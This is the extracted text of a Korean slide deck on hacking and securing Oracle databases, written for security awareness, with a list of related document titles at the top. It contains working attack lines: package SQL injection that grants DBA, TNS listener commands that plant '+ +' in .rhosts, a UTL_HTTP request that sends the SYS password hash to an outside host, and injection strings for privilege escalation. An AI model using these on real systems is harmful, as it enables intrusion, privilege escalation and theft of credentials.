Penetration Zone Open

Similar documents
Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

13주-14주proc.PDF

I T C o t e n s P r o v i d e r h t t p : / / w w w. h a n b i t b o o k. c o. k r

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

untitled

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

90

The Self-Managing Database : Automatic Health Monitoring and Alerting

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

ALTIBASE HDB Patch Notes

10.ppt

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

단계

MySQL-Ch10

MS-SQL SERVER 대비 기능

제목 레이아웃

62

목 차

最即時的Sybase ASE Server資料庫診斷工具

세미나(장애와복구-수강생용).ppt

歯sql_tuning2

Chapter 1

Spring Boot/JDBC JdbcTemplate/CRUD 예제

DBMS & SQL Server Installation Database Laboratory

PCServerMgmt7

Commit_Wait / Commit_Logging 두파라미터를통해 Log File Sync 대기시간을감소시킬수있다는것은놀라움과의아함을동시에느낄수있다. 단지파라미터의수정을통해당연히대기해야하는시간을감축한다는것은분명성능을개선해야하는입장에서는놀라운일이될것이다. 반면, 그에따

1217 WebTrafMon II

6주차.key

thesis

개요오라클과티베로에서 JDBC 를통해접속한세션을구분할수있도록 JDBC 접속시 ConnectionProperties 를통해구분자를넣어줄수있다. 하나의 Node 에다수의 WAS 가있을경우 DB 에서 Session Kill 등의동작수행시원하는 Session 을선택할수있다.

ALTIBASE HDB Patch Notes

untitled

UDP Flooding Attack 공격과 방어

Jerry Held

PowerPoint 프레젠테이션

untitled

슬라이드 1

ETL_project_best_practice1.ppt

제20회_해킹방지워크샵_(이재석)

CD-RW_Advanced.PDF

PRO1_09E [읽기 전용]

배치프로그램에서튜닝대상 SQL 추출하기 엑셈컨설팅본부 /DB 컨설팅팀박성호 배치프로그램의성능문제를진단하기위해트레이스를사용할수없고, 개별 SQL 에대한성 능점검은비효율적인경우에어떻게배치프로그램의성능문제를제대로파악하고개선안을도 출할것인가? 복잡한로직을가지고있는프로그램 (

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

윈도우시스템프로그래밍

Microsoft Word - SQL튜닝_실습교재_.doc

MySQL-.. 1


Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs, including any oper

Microsoft PowerPoint - 10Àå.ppt

Result Cache 동작원리및활용방안 엑셈컨설팅본부 /DB 컨설팅팀김철환 개요 ORACLE DBMS 를사용하는시스템에서 QUERY 성능은무엇보다중요한요소중하나이며그 성능과직접적인관련이있는것이 I/O 이다. 많은건수를 ACCESS 해야만원하는결과값을얻을수있는 QUER

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터

Tablespace On-Offline 테이블스페이스 온라인/오프라인

쉽게 풀어쓴 C 프로그래밊

문서 템플릿

untitled

데이터베이스_오라클_부록(최종).indd

제목을 입력하세요.

ePapyrus PDF Document

Microsoft PowerPoint - 2.Catalyst Switch Intrastructure Protection_이충용_V1 0.ppt [호환 모드]

F1-1(수정).ppt

Tina Admin

PowerPoint Presentation

B _01_M_Korea.indb

Portal_9iAS.ppt [읽기 전용]

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를 제공합니다. 제품은 계속 업데이트되므로, 이 설명서의 이미지 및 텍스트는 사용자가 보유 중인 TeraStation 에 표시 된 이미지 및 텍스트와 약간 다를 수

bn2019_2

Oracle Database 10g: Self-Managing Database DB TSC

Network seminar.key

PowerPoint Template

Microsoft Word - 05_SUBPROGRAM.doc

다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

No Slide Title

スライド タイトルなし

Microsoft Word - [Unioneinc] 특정컬럼의 통계정보 갱신_ _ldh.doc

강의10

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

Intra_DW_Ch4.PDF

FileMaker 15 ODBC 및 JDBC 설명서

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

Observational Determinism for Concurrent Program Security

PowerPoint Presentation

윈도우시스템프로그래밍

PowerPoint Presentation

Assign an IP Address and Access the Video Stream - Installation Guide

<30362E20C6EDC1FD2DB0EDBFB5B4EBB4D420BCF6C1A42E687770>

그리고.. 엑셀에하나둘완료된쿼리가늘어날때마다... 희열을느낀다... 이글을보는당신은어떻게할것인가? A 군의판단이잘못된것인가? 잘못된판단이아니다최선의판단이다... 11g 전까지는... 11g New Feature 인 Pending Statistics 를 SPA 와함께사용

Remote UI Guide

PowerPoint Presentation

J2EE Concepts

네트워크 안정성을 지켜줄 최고의 기술과 성능 TrusGuard는 국내 최초의 통합보안솔루션으로서 지난 5년간 약 4천여 고객 사이트에 구축 운영되면서 기술의 안정성과 성능면에서 철저한 시장 검증을 거쳤습니다. 또한 TrusGuard는 단독 기능 또는 복합 기능 구동 시

chapter4

thesis

Transcription:

Hacking and Securing Oracle OCT. 2007 주식회사모니터랩 By Coderant(http://coderant.egloos.com)

목 차 Chapter I. 개요 Chapter II. DB 보안 Chapter III. DB 해킹기법소개 Chapter IV. 결론

Chapter I. 개요 Agenda - 우리가잘모르고있는 DB 보안 - DB 서버의 Security Hole 에대한 Awareness - DB 서버를대상으로어떤방식으로해킹이되는지이해 - 안전한 Oracel Database 서버를위한기본적인 Idea - Computer Emergency Response Team(CERT) 에발표에의하면모든해킹의 95% 가알려진취약점을이용한다. - Deloitte 2005 Global Security Suvery 자료에의하면내부자에의한공격이외부자공격보다빈도가증가하고있다. - 궁극적으로 Database 서버의 Security Awareness 및효과적인보안대책을수립

Chapter I. 개요 What are the hackers trying to do - DB 를손상시키거나, 접근권한을획득하고자한다. - 잘못설정된 Configuration 는권한승계를허용한다. - 잘못설정된 Configuration 은비인가데이터에접근을허용한다. - 잘못설정된 Configuration 은손상 (Damage) 와비즈니스손실을가져온다. To protect Oracle thing like a hacker - Database 를보안에대해서먼저해커처럼생각하라 -Oracle 에서발생할수있는모든 Security Hole 및 Risk 를고려 Configuration, Permission, Bug

Chapter I. 개요 Main Security Problem - 인터넷액세스 : 디폴트로 DB 에서많은포트가 Open 되어있음 이는잠재적으로 MS SQL 의슬래머웜같은공격에취약할수있음 - Oracel TNS Listener 에대한해킹공격 (DoS) - Buggy 패키지의취약성을악용한해킹공격 ex) UTL_FILE, DBMS_BACKUP_RESTORE, EMD_SYSTEM, DBMS_LOB, DBMS_NAMESPACE, DBMS_SCHEDULER JAVA 등등 - 패키지 (Pakage)/Function/ 프로시저 (Procedure) 를악용 - Oracle 의디폴트패스워드문제 ex) 초당 1,100,000 hash 크랙가능 (2.8GHz 펜티엄 4 PC)

Chapter II. DB 보안 Oracle Network Architecture OSI OSI Network 모델모델

Chapter II. DB 보안 Oracle 에서구동되는프로세스 $ ps -ef grep oracle oracle 17749 1 0 11:26:13? 0:00 ora_pmon_orasidsol oracle 17757 1 0 11:26:16? 0:01 ora_smon_orasidsol oracle 17759 1 0 11:26:17? 0:00 ora_reco_orasidsol oracle 17751 1 0 11:26:15? 0:01 ora_dbw0_orasidsol oracle 17753 1 0 11:26:16? 0:01 ora_lgwr_orasidsol oracle 17755 1 0 11:26:16? 0:05 ora_ckpt_orasidsol oracle 17762 1 0 11:30:59? 1:34 oracleorasidsol (LOCAL=NO) PMON 프로세스 : 프로세스모니터하는프로세스 SMON 프로세스 : 시스템모니터프로세스 (crash recovery) RECO 프로세스 : Distributed Transaction Recovery 프로세스 DBWR 프로세스 : Database Writer 프로세스 LGWR 프로세스 : Log Writer 프로세스, handling redo logs. CKPT 프로세스 : Checkpoint 프로세스

Chapter II. DB 보안 DBA 를가지는것들 SYS와 SYSTEM 모두 DBA 권한을가진계정이지만기타다른계정에서도 DBA 권한이부여되어있는경우가간혹있다.(MDSYS, CTXSYS, WKSYS, SYSMAN) SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b where a.user#=b.grantee# and b.privilege#=4; NAME ----------------------------- CTXSYS SYS SYSMAN SYSTEM WKSYS * Oracle 10g 에서는기본적으로제거되어있음

Chapter II. DB 보안 Oracle Role 과 Privilege 해커가관심있어하는중요한데이터베이스뷰 (DATABASE VIEW) 데이터베이스뷰 설명 (Description) DBA_USERS DB 안에있는사용자계정에대한정보 ( 패스워드포함 ) DBA_PROFILE DBA_ROLES DBA_ROLE_PRIVS DBA_SYS_PRIVS ROLE_SYS_PRIVS ROLE_ROLE_PRIVS USER_ROLE_PRIVS USER_SYS_PRIVS 각프로파일에대한리소스에관한정보 DB안에있는모든Role에대한모든상세한정보각사용자와기타 Role 부여되어있는권한 Role 정보각사용자와기타 Role 부여되어있는시스템권한 Role 정보다른 Role에부여되어있는시스템권한을보여줌다른 Role에부여되어있는 Role를보여줌현재사용자에부여되어있는 Role 정보를보여줌현재사용자에부여되어있는시스템권한정보를보여줌 * System Tablesspace : x$, $ 가붙은테이블 (v$fixed_table)

Chapter II. DB 보안 DB 오브젝트타입 Oracle 10g 에서는 Default 로, 41 개이상의오브젝트타입이있다

Chapter II. DB 보안 SYS 스키마정보와관련된것들 - 프로세스와세션정보는 SYS 스키마에 v$process 와 v$session 테이블에저장됨 - Oracle Intelligent Agent 는 TCP port 1748, 1808, 1809 사용 종종 dbsnmp SNMP 요청을 1161 번포트에서 Listening 한다. - Oracle 의디퐅트 SID 목록 Product Oracle XE Oracle 9i ~ 10g Oracel Default SID Oracle Enterprise Manager Repository BEA Weblogic SAP Standard System Open View 디폴트 SID XE IASDB ORCL OEMREP MSAM SA*, SID OPENVIEW, OVO

Chapter II. DB 보안 시스템권한 (System Privilege) SQL> select name from system_privilege_map; SYSTEM 그룹의권한 : ALTER ANY, CREATE ANY, EXECUTE ANY, ANALYZE, AUDIT, DEBUG, DELETE ANY, DROP ANY

Chapter III. DB 해킹기법 Oracle DB 보안취약점구분 1) Oracle의 extpro 와같은환경변수의악용 2) Network Protocol의인증결함 3) Authentication Protocol의결함 4) 비인가접근 - 안전하지않은 Oracel TNS Listener 포트에대한공격 5) Arbitrary Code Execution in Intrinsic SQL Elements 6) 잘못된사용 - SQL Injeciton, Dynamic PL/SQL Injection 7) 패키지의 SQL Injection 취약점 - DRILOAD.VALIDATE_STMT SQL Injection를통해권한상승 [ 예 Oracle 8i 취약점 ] SQL> exec CTXSYS.DRILOAD.VALIDATE_STMT( GRANT DBA TO PUBLIC );

Chapter III. DB 해킹기법 Oracle DB 해킹기법에대한 Summary 구분 사용자인증 네트워크서비스 상세해킹구현기법디폴트 DB 개정및패스워드 Password Cracking TNS Listener 포트 1521를통한해킹시도 Oracel Stadard 패키지 SQL Injection Injection Attack(Code Injection, PL/SQL Injection) Function Call Injection DBMS_SYS_SQL.PARSE_AS_USER 함수를이용하여악의적인 PL/SQL 만들어서실행할수있음 Un-Documented Un-documented initialisation parameter(init.ora) CURRENT SESSION (alter session set current_schema = yes)

Chapter III. DB 해킹기법 Default UserNamer 과 Password 로접속기본적으로 DB 설치시존재하는계정과패스워드를통한접근가능 아래에기술한것말고도디폴트계정 / 패스워드는많다. - SYS/CHANGE_ON_INSTALL - SYSTEM/MANAGER - DBSNMP/DBSNMP - CTXSYS/CTXSYS - MDSYS/MDSYS - SCOTT/TIGER

Chapter III. DB 해킹기법 Oracle DB 버전별 Without Authentication

Chapter III. DB 해킹기법 Oracle 의 Authentication 취약점 2006 년발표된 Critical 한 Oracle 취약점 ( 인증초기화세션시의 SQL 의조작을통한권한 DBA 권한상승 )

Chapter III. DB 해킹기법 SYSMAN 의 MGMT_VIEW 정보추출 VIEW_USERNAME, VIEW_PASSWORD 에서취약한 Encryption 패스워드추출 (Oracle 10g, 11g 에만해당됨 )

Chapter III. DB 해킹기법 Oracle Hash Password 크랙단순한패스워드는크랙하는데 1 초도걸리지않음

Chapter III. DB 해킹기법 TNS Listener Attack(1) - 가장쉬운 ORACLE 공격중하나는 Listener 를공격하는것 - TNS Denial of Sevices Attack - Oracel 9i/10g 에서 Listener 패스워드가설정되면 TNS 공격시에러가발생 - 2002 년경에나왔던 Oracle 9i 의 Long Service_name 파라메터 오버플로우취약점 공격예 ) (DESCRIPTION= (ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.65)(PORT=1521)) (CONNECT_DATA= (SERVICE_NAME=hacker_shellcode_goes_here) (CID=(PROGRAM=SQLPLUS.EXE) (HOST=foo)(USER=bar))))

Chapter III. DB 해킹기법 TNS Listener Attack(2) root% tnscmd status -h Target.com -p 1521 [TNS 패킷내용 ] sending (CONNECT_DATA=(COMMAND=status)) to Target.com:1521 writing 89 bytes reading...6...`...j... (DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0) (ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Sol aris:.version.8.1.6.0.0.-.production)(start_date=01-sep- 2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/app/oracle/product/8. 1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro)

Chapter III. DB 해킹기법 TNS Listener Attack(3) rhost 파일에 + + 를 insert 시켜 rlogin 으로인증없이서버에접근 [ 해킹공격예 ] 1) root%./tnscmd --rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=) (USER=)(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTE NER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts))) " -h oraclesvr2 2) root%./tnscmd --rawcmd " + + " -h oraclesvr2 3) root% rlogin -l oracle oraclesvr2 4) root% tnscmd10g.pl -h 10.0.0.151 --10G --rawcmd "(CONNECT_DATA=((<here your pl/sql code to propagate>"

Chapter III. DB 해킹기법 Sniffing ALTER USER SQLNET.ORA 파일에다음내용을추가 TRACE_FILE_SERVER = oug.trc TRACE_DIRECTORY_SERVER =../tmp TRACE_LEVEL_SERVER = SUPPORT SQL > alter user scott identified by xdgeowvword; User altered

Chapter III. DB 해킹기법 SQL Injection SQL Injection Attack 분류 - SQL 구문조작 (Manipulation) - Code 삽입 (Injection) 오라클은 Dynamic SQL 형태에서는 Multi SQL Statement 를허용하지않는다.( 즉 ; 를허용하지않는다는의미 ) - Function Call 삽입 (Injection) - Buffer Overflow

Chapter III. DB 해킹기법 SQL Injection SQL 구문조작 Attack - Web 해킹을통한우편번호검색부분의 SQL 구문조작사례

Chapter III. DB 해킹기법 SQL Injection Code Injeciton Attack http://www.xxx.com/forum/bbs/download.jsp?idx=5'%20union%20select%20%201,tname,'3', 444,'444'%20from%20sys.tab%20where%20tname%20not%20in%20('A0TMSRNES','A0T ORGTBL','A0TTBLSCM','A1TXMLINF','A4TCPADLG','BANK_THEME_DATA')--

Chapter III. DB 해킹기법 SQL Injection Oracle Worm(Voyager) 2005 년 11 월익명의제보자에의한 Oracle Voyager Worm 제보 - Voyager Worm 의구동 1) Grant DBA to public(ctxsys.driload 취약점 ) 2) Drop the trigger aa 3) Google 에다음과같은 URL 를요청함 http://www.google.de/search?hl=en&q=startc0gtjbi1+fulldisclosure&btni=i%27m+ Feeling+Lucky 4) 모든 Oracle 해시패스워드를 larry@oracle.com 주소로전송 5) Worm 이 listener.log 수정하고다음과같은명령어를 glogin.sql 에추가 "alter user mdsys identified by mdsys" 그리고 glogin.sql 실행 6) create database link 를생성하고패스워드추출시 (system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon) 7) TNS listener 중지시킴

Chapter III. DB 해킹기법 SQL Injection Oracle 의 PL/SQL 의 Rootkit, 백도어 OracleRootkit.sql OracleBackdoor.sql

Chapter III. DB 해킹기법 SQL Injection Oracle PL/SQL Oracle Rootkit, 백도어 Rootkit, 백도어를이용하여 DB 서버로 Reverse 접속

Chapter III. DB 해킹기법 SQL Injection SQL Manipulation [ 정상쿼리 ] SELELCT * FROM users WHERE username = admin and password = xagg3 [SQL Query 조작사례 -1] SELELCT * FROM users WHERE username = admin and password = xagg3 or 1 = 1 [SQL Query 조작사례 -2] SELELCT product_name FROM all_product WHERE product_name LIKE = %LG UNIONr 1 = 1 SELECT username FROM dba_users WHERE username like %

Chapter III. DB 해킹기법 SQL Injection Code Injection [Code Injection 에러 ] SELELCT * FROM users WHERE username = admin and password = xagg3 ; DELETE FROM users Oracle 에서는 multiple SQL Statement 를지원하지않는다. 위와같은공격은실패한다. 따라서위와같은공격은 PL/SQL Block 공격으로가능 [Anonymous PL/SQL Block 에서공격 ] BEGIN ENCRYPTION_PASSWORD( admin and password= xagg3 ); DELETE FROM users WHERE upper(username) = upper( admin ); END;

Chapter III. DB 해킹기법 SQL Injection Function Call Injection Oracle 의패키지의 Function 이나사용자 Function 에서 SQL 구문을 Injection 시키는공격 Oracle 은 1000 개의 Function 과 175 개정도의기본패키지를지원함 [ 정상적인경우 ] SELELCT TRANSLATE( user input, 0123456789ABCDEFGH IJKLMNOPQRSTUVWXYZ, 0123456789 ) FROM dual; [Function Call Injection 공격 ] SELELCT TRANSLATE( UTL_HTTP.REQUEST(http://192. 168.1.1/ ) 0123456789ABCDEFGHIJKLMNOPQRSTUVW XYZ, 0123456789 ) FROM dual;

Chapter III. DB 해킹기법 SQL Injection PL/SQL 에서의 SQL Injection 스토어드프로시저는 PL/SQL 나 JDBC 의 Callablestatement 둘중 에하나의형태로호출되어사용된다. PL/SQL 이실행되는 4 가지 Type - Embeded SQL Statement : Compiled, Bind Variable 만허용 - Static Cursors : Compiled, Bind Variable 만허용 - ECUTE IMMEDIATE : DBMS_SQL 를대체함 - DBMS_SQL 패키지 : Dynamic SQL 의옛날방식 간혹, EXECUTE IMMEDIATE 와 DBMS_SQL 를결합해서사용하는경우도있음.

Chapter III. DB 해킹기법 SQL Injection PL/SQL 의구성 PL/SQL 3 가지 Block Type - Anonymous, Procedure, Function

Chapter III. DB 해킹기법 SQL Injection EXECUTE IMMEDIATE 구문 (1) PL/SQL 코드안에서 Dynamic SQL 를실행시킴 예 ) SQL Injection 공격에취약한 execute immediate 구문 CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) AS sqlstr VARCHAR2(1000); code VARCHAR2(100); BEGIN sqlstr := SELECT postal-code FROM state WHERE state-name = `` name ; EXECUTE IMMEDIATE sqlstr; END; State-name = :name; / Bind Variable 형태로하면 SQL Injection 공격을차단할수있다.

Chapter III. DB 해킹기법 SQL Injection EXECUTE IMMEDIATE 구문 (2) Anonymous PL/SQL Block 은 SQL Injection 공격에매우취약 예 ) SQL Injection 공격에취약한 execute immediate 구문 CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) AS sqlstr VARCHAR2(1000); code VARCHAR2(100); BEGIN -- 취약한경우의코드 EXECUTE IMMEDIATE BEGIN updatepass ( value ); END ; -- 취약하지않은코드 cmd := BEGIN updatepass (:1); END ; EXECUTE IMMEDIATE cmd USING value; END; /

Chapter III. DB 해킹기법 SQL Injection Injecting Function - 만약 Attacker 가서버에서 function 을생성할수있다면악의적인 PL/SQL function 를만들어실행하거나 SQL 구문에 Injection 할수있다. - Attacker 가사용할함수는 AUTHID CURRENT_USER 키워드가설정되어있어야함 스토어드프로시저실행권한 (invoker, definer) 의상관없이접근권한은실행할때컴파일유저가아닌현재접속해있는유저 - AUTONOMOUS_TRANSACTION pragma 를설정해야함.

Chapter III. DB 해킹기법 SQL Injection Injecting Function - requisite privilege 로실행되어야 SCOTT 가 DBA Role 를획득하게된다. CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; END; / GRANT EXECUTE ON GET_DBA TO PUBLIC; / LIST_LIBRARIES 프로시저가다음과같이실행되는것을의미한다. SELECT object_name FROM all_objects WHERE owner = 'ABC' SCOTT.GET_DBA() SQL> EXEC SYS.LIST_LIBRARIES('ABC'' SCOTT.GET_DBA()--'); PL/SQL procedure successfully completed.

Chapter III. DB 해킹기법 SQL Injection Injecting Function 사용자 Function 을통한 Privilege Escalation Oracle 10g 에서테스트한결 과 (Oracle CPU July 2006 패치되어더이상공격안됨 )

Chapter III. DB 해킹기법 SQL Injection Injecting Function CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' P_OWNER ''' AND OBJECT_TYPE=''LIBRARY'''; LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; / 만약 SQL Injection 취약점이존재한다면 P_OWNER 파라메터에 UNION SELECT 구문을삽입하는공격이가능하다. SQL> EXEC SYS.LIST_LIBRARIES('MDSYS'); ORDMD_IDX_LIBS ORDMD_REL_LIBS 정상적인쿼리 ORDMD_WD_LIBS ORDMD_MBR_LIBS ORDMD_UDT_LIBS EATE OR REPLACE PROCEDURE SQL> EXEC SYS.LIST_LIBRARIES('NOUSER'' UNION SELECT PASSWORD FROM DBA_USERS--'); 23F797F38974856E 29802572EB547DBF 2A09F346B7886867 2BE6F80744E08FEB SQL Injection 쿼리

Chapter III. DB 해킹기법 패키지취약점 패키지버그공격사례 - DBA 권한획득 SQL> select * from user_role_privs; USERNAME GRANTD_ROLE ADM DEF OS ----------- ----------------- ------ ---- ----- SCOTT CONNECT NO YES NO SCOTT RESORCE NO YES NO SQL> exec ctxsys.driload.validate_stmt( grant dba to scott ); BEGIN ctxsys.driload.validate_stmt( grant dba to scott ); END; * ERROR at line 1: ORA-06510 : PL/SQL: unhandled user-defined exeception ORA-06512 : at CTXSYS.DRILOAD, line 42 ORA-01003 : no statement parsed ORA-06512 : at line 1 SQL> select * from user_role_privs; USERNAME GRANTD_ROLE ADM DEF OS ----------- ----------------- ------ ---- ----- SCOTT CONNECT NO YES NO SCOTT DBA NO YES NO SCOTT RESORCE NO YES NO

Chapter III. DB 해킹기법 패키지취약점 UTL_HTTP 패키지보안 - UTL_HTTP 패키지는 Oracle DB 서버로 Out-of-band 커넥션을요청할수있게해준다. - SYS user 의패스워드를추출할수있다. - 기타 UTL_SMTP, UTP_TCP, UTP_FILE 패키지도버그가존재한다면이와같은악의적인공격이가능하다. 공격예제 ) SELECT utl_http.request('http://192.168.0.100:5500/' (SELECT password FROM dba_users WHERE username='sys')) FROM dual;

Chapter III. DB 해킹기법 패키지취약점 UTL_HTTP.REQUEST 패키지취약점 - UTL_HTTP.REQUEST 는 SQL injection 하는데특별히용이 ex) FOO 파라메터에 SQL Injection 취약점이존재할경우공격은다음과같이이루어진다. http://example.com/search?foo=bar' utl_http.request( http:// 192.168.0.100:5500/' (SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) 'BAR 다른오라클네트워크패키지에서도다양하게사용될수있다. (UTL_MAIL, UTL_SMTP, UTL_INADDR)

Chapter III. DB 해킹기법소개 오라클 DB Link 공격 SQL> create database link remote_db connect to scott identified by tiger using '(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=192.168.0.120)(PORT=1521))(CONNECT_DATA= (SERVICE_NAME=sparc10g)))'; Database link 가생성되며 link 로다음과같이쿼리를실행할수있다. DB Link 된서버로연결되고 ALL_USERS table 쿼리가능하다 ex) SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB

Chapter III. DB 해킹기법소개 Oracel 버전별취약점 ORACEL 취약점발표는 2006 년 ~ 2007 년기준 구분상세분류 Impact ORACEL 8i (2005 년기준 ) ORACLE 9i ORACLE 10g CTXSYS.DRILOAD의 SQL Injection 취약점 DBMS_SYSTEM.KSDWRT의버퍼오버플로우 Create Database Link 버퍼오버플로우다양한파일파라메터버퍼오버플로우 DBMS_REPCAT_FGT의버퍼오버플로우 DBMS_REPCAT_ADMIN의버퍼오버플로우 DBMS_REPCAT의버퍼오버플로우 UTL_FILE을통한 Directory Traversal DBMS_SYS_SQL을통한DBA 권한획득 dbms_export_extension의 SQL Injection Views와 outer joins을통한 Privilege escalation DBMS_XMLSCHEMA_INT 버퍼오버플로우 KUPW$WORKER의 SQL Injection dbms_export_extension의 SQL Injection Become DBA Crash Database Crash Database Crash Database / Execute Code Crash Database / Execute Code Crash Database / Execute Code Crash Database / Execute Code Become DBA Become DBA Become DBA Become DBA Create Remote Shell Become DBA Become DBA

Chapter III. DB 해킹기법소개 Oracel 버전별취약점 ORACEL 취약점발표는 2006 년 ~ 2007 년기준 구분상세분류 Impact ORACEL 10g KUPV$FT의 SQL Injection Local Privilege Escalation (win32) KUPM$MCP의 SQL Injection KUPW$WORKER의 SQL Injection KUPV$FT의 SQL Injection Local Privilege Escalation (win32) KUPM$MCP의 SQL Injection Become DBA via cursor Become DBA Become DBA via cursor Become DBA via cursor Become DBA via cursor Become DBA Become DBA via cursor

Chapter III. DB 해킹기법소개 주기적인 Role/Priviledge 진단테스트

Chapter IV. 결론 대응방안 - 보안의궁극적인목적은 Database 에있는데이터를보호하기위한것이다. - Web 보안은지속적인점검과대비를하지않으면언제라도보안취약점을이용한해커의공격을받을수있다. - 사용자는꼭필요한최소권한 (least privilege) 만을부여 - Public 은오라클데이터베이스의모든사용자에게디폴트로적용되기때문에 Public 사용자그룹에서불필요한권한을제거 - 모든사용자는 Public 에권한부여 (Privilege grant) 여부점검 - PL/SQL 패키지를실행시켜보낼자신에게권한부여된권한범위를넘어서는작업을할수도있을것이다.

감사합니다